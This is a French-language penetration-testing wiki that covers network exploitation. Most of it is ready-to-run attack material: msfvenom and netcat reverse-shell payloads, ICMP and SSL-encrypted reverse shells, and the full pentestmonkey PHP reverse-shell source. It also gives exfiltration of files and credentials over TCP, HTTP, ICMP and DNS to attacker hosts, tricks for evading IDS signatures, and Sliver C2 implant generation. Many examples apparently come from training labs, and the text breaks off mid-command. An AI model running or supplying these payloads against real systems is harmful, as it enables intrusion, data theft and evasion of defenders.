# Réseau # [Exploitation/Réseau] Metasploit ## Introduction Metasploit est un framework complet pour les pentester. Il est très célèbre et réputé pour sa facilité d'utilisation. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/0Tzimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/0Tzimage.png) ## Reverse shell Meterpreter #### Payload Windows ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= --format=exe > payload.exe ``` #### Payload Linux ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > payload.elf ``` #### Listener Après avoir généré le payload, vous devez lancer la console metasploit pour lancer le serveur d'écoute : ```bash msfconsole ``` Une fois dans la console, il faut indiquer à metasploit que l'on souhaite se rendre dans la catégorie des listener : ```bash use multi/handler ``` Ensuite, il faut définir le type de payload utilisé : ``` set payload ``` Définir l'adresse IP d'écoute : ``` set LHOST ``` Définir le port d'écoute : ``` set LPORT ``` Démarrer le serveur d'écoute : ``` run ``` # [Exploitation/Réseau] Exploit-DB & Searchsploit ## Introduction La base **Exploit-DB** recense l'ensemble des CVE connues et dont au moins un exploit est disponible. L'outil **searchsploit** quant à lui s'utilise en ligne de commande et permet de trouver les vulnérabilités disponibles pour une application donnée et pour une version donnée de cette application si elle est composée. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/zbcimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/zbcimage.png) ## Exploit-DB Une barre de recherche est disponible pour taper le numéro de la **CVE** que vous souhaitez rechercher : [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/xkVimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/xkVimage.png) Si on prend l'exemple de la vulnérabilité **Eternal Blue** sortie en 2017, ayant pour nom **CVE-2017-0144**, on peut chercher 2017-0144 dans la barre de recherche pour trouver les exploits disponibles : [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/LXXimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/LXXimage.png) ## Searchsploit Pour chercher les vulnérabilités disponibles pour une application on peut utiliser cette commande : ```bash searchsploit [VERSION] ``` Pour afficher le descriptif d'un exploit : ```bash searchsploit -m ``` # [Exploitation/Réseau] Netcat ## Introduction **Netcat** est un outil en ligne de commande qui permet de travailler sur des connexions réseaux **TCP** et **UDP**. Il peut être utile pour diagnostiquer ou se connecter à des applications rustiques utilisant des **sockets** traditionnels. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/ZFIimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/ZFIimage.png) ## Manuel #### Connexion TCP ```bash nc ``` #### Connexion UDP ```bash nc -u ``` #### Listener TCP ```bash nc -lvp ``` #### Listener UDP ```bash nc -luvp ``` #### Payload reverse shell - Linux : ```bash nc –e /bin/bash ``` - Windows : ```bash nc –e cmd.exe ``` ## Stabiliser votre shell Afin de stabiliser votre shell et le rendre un peu plus ergonomique, notamment en affichant un plus beau prompt, vous pouvez utiliser la commande suivante pour faire spawn un **PTY** : ```bash python -c 'import pty; pty.spawn("/bin/sh")' ``` ## Cheat-sheet [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2025-02/scaled-1680-/image.png)](https://wiki.neopipe.fr/uploads/images/gallery/2025-02/image.png) # [Exploitation/Réseau] Pwncat ## Introduction Cet outil vise à fournir la même fonction que netcat avec des fonctions supplémentaires très pratiques lors de vos tests d'intrusion. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/Daeimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/Daeimage.png) ## Installation Voici la commande pour installer **pwncat** dans un environnement virtuel : ```bash python3 -m venv /opt/pwncat && /opt/pwncat/bin/pip install pwncat-cs && ln -s /opt/pwncat/bin/pwncat-cs /usr/local/bin ``` ## Manuel #### Documentation officielle - [Pwncat documentation](https://pwncat.readthedocs.io/en/latest/usage.html) #### Lancer un listener - Voici la première méthode pour le faire ```bash pwncat-cs -lp ``` - Ou la deuxième (depuis le mode interractif) : ```bash pwncat-cs ``` ```bash listen -m linux ``` #### Sélection d'une session Depuis le mode interractif : ```bash sessions ``` #### Passer du mode local à remote Une fois votre connexion établie, vous pourrez basculer du mode **local** (shell local de votre machine) au mode **remote** (shell distant de la machine compromise). Pour basculer d'un mode à l'autre il vous suffit d'utiliser la combinaison **CTRL+D**. #### Upload Plus besoin de bricoler pour transférer des fichiers de votre machine vers la machine distante, vous pouvez utiliser la commande upload **depuis le mode local** pour téléverser un fichier dans le répertoire courant de la session distante: ```bash upload ``` #### Download De la même manière vous pouvez récupérer des fichiers distants sur votre machine locale (cela peut être utile pour les analyser) : ```bash download ``` # [Exploitation/Réseau] ICMP Reverse shell ## Introduction Parfois, les pare-feux bloquent les connexions TCP et UDP mais oublient de bloquer le trafic ICMP. Cependant, cette ouverture peut être exploitée pour ouvrir un reverse shell sur la machine victime et ainsi, contourner le pare-feu. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-01/scaled-1680-/NF9image.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-01/NF9image.png) ## Exploitation #### Python Pour la démonstration nous allons utiliser le projet **icmpdoor** : - [https://github.com/krabelize/icmpdoor](https://github.com/krabelize/icmpdoor)

L'exploitation **nécessite les droits root** sur la machine victime puisque le payload utilise **Scapy** et exploite le driver de la carte réseau.

Sur la machine de l'attaquant, lancer la commande suivante : ```bash sudo python3 icmp-cnc.py -i -d ``` Ensuite, trouver un moyen pour dropper le script icmpdoor.py sur la machine victime et lancer la commande suivante : ```bash sudo python3 icmpdoor.py -i -d ``` #### C (binaires) Si python n'est pas présent sur la machine victime, vous allez devoir utiliser un autre projet : - [https://github.com/ferreiraklet/icmp\_reverse\_shell](https://github.com/ferreiraklet/icmp_reverse_shell) Après avoir cloner le dépôt sur la machine de l'attaquant, compilez les binaires **server** et **client** : ```bash gcc server.c -o server -pthread ``` ```bash gcc client.c -o client -pthread ``` Lancer le serveur sur la machine de l'attaquant : ```bash ./server ``` Ensuite, trouver un moyen de transférer le binaire **client** sur la machine de la victime et exécuter-le : ```bash ./client ``` # [Exploitation/Réseau] Data exfiltration ## Introduction Après avoir compromis un système et élevé ses privilèges, un pirate va avoir tendance à exfiltrer des données sensibles. Cependant, il ne doit pas se faire détecter par les systèmes de sécurité et contourner les potentiels pare-feux. ## Techniques #### Netcat Un simple flux **TCP** peut suffire dans certains cas. Vous pouvez alors lancer un listener sur la machine de l'attaquant : ```bash nc -lvp > ``` Et depuis la machine victime : ``` tar zcf - | base64 | dd conv=ebcdic > /dev/tcp// ```

Le fichier sera **compressé**, encodé en **base64** et en **EBCDIC** par DD avant d'être envoyé, ce qui rend le trafic illisible sur le réseau.

Une fois la donnée récupérée, on peut la décoder et la décompressée : ```bash dd conv=ascii if= |base64 -d > .tar ``` ```bash tar xvf ``` #### SSH (sans SCP) ```bash tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -" ``` #### HTTP POST Monter un serveur web **php** qui va recevoir les données en **base64** et les enregistrer dans un fichier : ```php ``` Depuis la machine victime, on peut maintenant exfiltrer les données de la sorte : ```bash curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php ``` À cause de l'**encodage URL**, les **+** sont remplacés par des **espaces**, on peut résoudre le problème : ```bash sudo sed -i 's/ /+/g' /tmp/http.bs64 ``` Puis on peut **décoder** et **extraire** le fichier : ```bash cat /tmp/http.bs64 | base64 -d | tar xvfz - ```

L'avantage par rapport à la méthode **GET** est que la donnée en base64 ne sera pas enregistrée dans les **logs** du serveur web.

On peut aussi utiliser un serveur web en **HTTPS** pour que le trafic soit complètement chiffré.

#### ICMP À travers le champs **DATA** des paquets **ICMP**, il est possible d'exfiltrer des données. Pour cela, on peut se mettre en écoute sur la machine de l'attaquant avec le bon module **Metasploit** : ```bash msfconsole ``` ``` use auxiliary/server/icmp_exfil ``` ``` set BPF_FILTER icmp and not src ATTACKBOX_IP ``` ``` set INTERFACE eth0 ``` ``` run ``` Et on peut exfiltrer de la donnée depuis la machine victime grâce à **nping** : ```bash sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt" ``` ```bash sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password" ``` ```bash sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF" ```

Depuis Metasploit, vous devriez avoir reçu la donnée.

#### DNS On exfiltrer de la donnée en utilisant le **DNS** même si pour cela il faut être en possession d'un **nom de domaine**. Sur la machine de l'attaquant, **écoutez** les requêtes DNS : ```bash sudo tcpdump -i eth0 udp port 53 -v ``` Puis depuis la machine victime, on encode en base64 la chaîne contenue dans le fichier credit.txt, on la découpe en chaînes de 18 caractères (63 max) et on ajuste en retirant les "." puis on effectue les requêtes : ```bash cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash ``` On peut décoder la chaîne une fois reçue sur le poste de l'attaquant : ```bash echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d ``` Sur le même principe, on peut créer une entrée **TXT** sur le serveur DNS afin de stcoker des scripts encodés en base64 : ```bash dig +short -t TXT flag.tunnel.com > "YmFzaCAtYyAvdXNyL2xvY2FsL3NiaW4vZmxhZy5zaAo=" ``` On peut le récupérer et l'exécuter : ```bash dig +short -t TXT flag.tunnel.com | tr -d "\"" | base64 -d | bash ``` # [Exploitation/Réseau] IDS/IPS Evasion ## Introduction Cette page décrit des solutions pour contourner des solutions **IDS/IPS** telles que **Snort** ou autre. ## Manuel #### Reverse shell avec certificat SSL Socat permet l'utilisation de certificat SSL pour chiffrer une connexion. Il va donc nous permettre d'établir un tunnel sécurisé pour exécuter nos commandes à distance. Tout d'abord, générer un certificat sur la machine de l'attaquant : ```bash openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt ``` ```bash cat thm-reverse.key thm-reverse.crt > thm-reverse.pem ``` Puis lancez le listener : ```bash socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT ``` Et sur la machine de la victime, lancez ce payload : ```bash socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash ```

Votre reverse shell sécurisé est ouvert !

#### Changement de la donnée brute Imaginons une règle qui se base sur une chaîne de caractère pour détecter l'utilisation de netcat, on pourrait très facilement la contourner en modifiant la commande. Admettons un règle qui détecte la présence de cette chaîne : ```bash nc -lvp ``` On pourrait changer l'ordre des flags : ```bash nc -pvl ``` Ou ajouter des espaces : ``` nc -lvp ``` Ou on peut changer la commande : ```bash ncat -lvp ``` # [Exploitation/Réseau] Reverse shell ## Introduction Le reverse shell est un type de payload qui permet à l'attaquant d'établir une connexion dans le sens inverse d'un bind shell et qui vous permet d'exécuter des commandes à distance. ![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-04/scaled-1680-/vAjimage.png) ## Revshell.com Ce site permet de générer des reverse shells dans divers langages en spécifiant votre adresse IP et le port que vous voulez utiliser : - [RevShells.com](https://www.revshells.com/) ## InternalAllTheThings Voici une page de ce site qui réferencie des reverses shell très variés : - [https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/) ## Payload vérifiés #### Bash ```bash sh -i >& /dev/tcp// 0>&1 ``` #### Python-3 ```python python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' ``` #### Netcat ```bash nc -e /bin/bash ``` Le payload ci-dessus ne marche plus car les options **-c** et **-e** ne sont plus supportées pour des questions de sécurité. Cependant, la version de netcat embarquée dans busybox supporte généralement ces options : ```bash busybox nc -e bash ``` #### Netcat + certificat SSL (chiffrement) Côté attaquant, générer le certificat : ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes ``` Puis lancez Netcat depuis la machine attaquante pour vous mettre en écoute en utilisant le certificat : ```bash nc --ssl -lvp ``` Puis sur la victime : ```bash mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect : > /tmp/s; rm /tmp/s ``` #### Curl Grâce au site suivant vous pouvez créer des reverse shells avec curl : - [https://reverse-shell.sh/](https://reverse-shell.sh/) Lancez un listener puis exécutez ce payload : ```bash curl https://reverse-shell.sh/: | sh ``` ## Pentest Monkey - [https://github.com/pentestmonkey/php-reverse-shell](https://github.com/pentestmonkey/php-reverse-shell) Ce reverse shell php est connu et fonctionnel pour vos tests d'intrusion, il vous suffit de modifier l'**IP** et le **port** : ```php array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ``` # [Exploitation/Réseau] Sliver C2 ## Introduction **Sliver C2** est un framework de commande et contrôle qui ressemble un peu à Metasploit. Il présente des fonctionnalités interéssantes d'obfuscation et des modules permettant de faire de la post-exploitation. Fonctionnant en mode **client-serveur**, vous pouvez démarrer un serveur sur un VPS accessible depuis Internet et utiliser le client pour vous connecter sur votre compte d'opérateur, ce qui permet de travailler en équipe. Vous pouvez aussi travailler directement sur le serveur si vous le souhaitez, ce qui est l'option la plus simple selon moi. [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-04/scaled-1680-/tH4image.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-04/tH4image.png) ## Source - [Documentation officielle - Sliver](https://sliver.sh/) ## Installation #### Linux Vous pouvez installer Sliver simplement avec la commande suivante pour la plupart des distributions Linux : ```bash curl https://sliver.sh/install | sudo bash ``` #### Compiler depuis les sources Cependant, vous aurez peut-être besoin de compiler vous même, notamment si vous travailler dans des environnement spécifiques tels que **Exegol** : ```bash git clone https://github.com/BishopFox/sliver.git && cd sliver && git checkout tags/v1.5.39 && make ``` ## Implants Il existe deux types d'implant (Agent C2) dans Sliver : - Les **sessions** (utilisent une connexion réseau permanente ce qui permet d'exécuter des commandes et de recevoir le résultat immédiatement). Ils sont très pratiques mais suspects. - Les **beacons** (utilisent une connexion réseau temporaire qui est réinitialiser par interval). Les commandes ne sont pas exécutées immédiatement mais ce type de connexion permet d'être assez discret. #### Générer un implant de session mtls Version **Windows** : ```bash generate : --save .exe ``` Version **Linux** : ```bash generate : --os linux --save ``` #### Générer un implant de session wireguard ```bash generate -g : --save .exe ``` #### Générer un implant de beacon ```bash generate beacon : --save .exe --seconds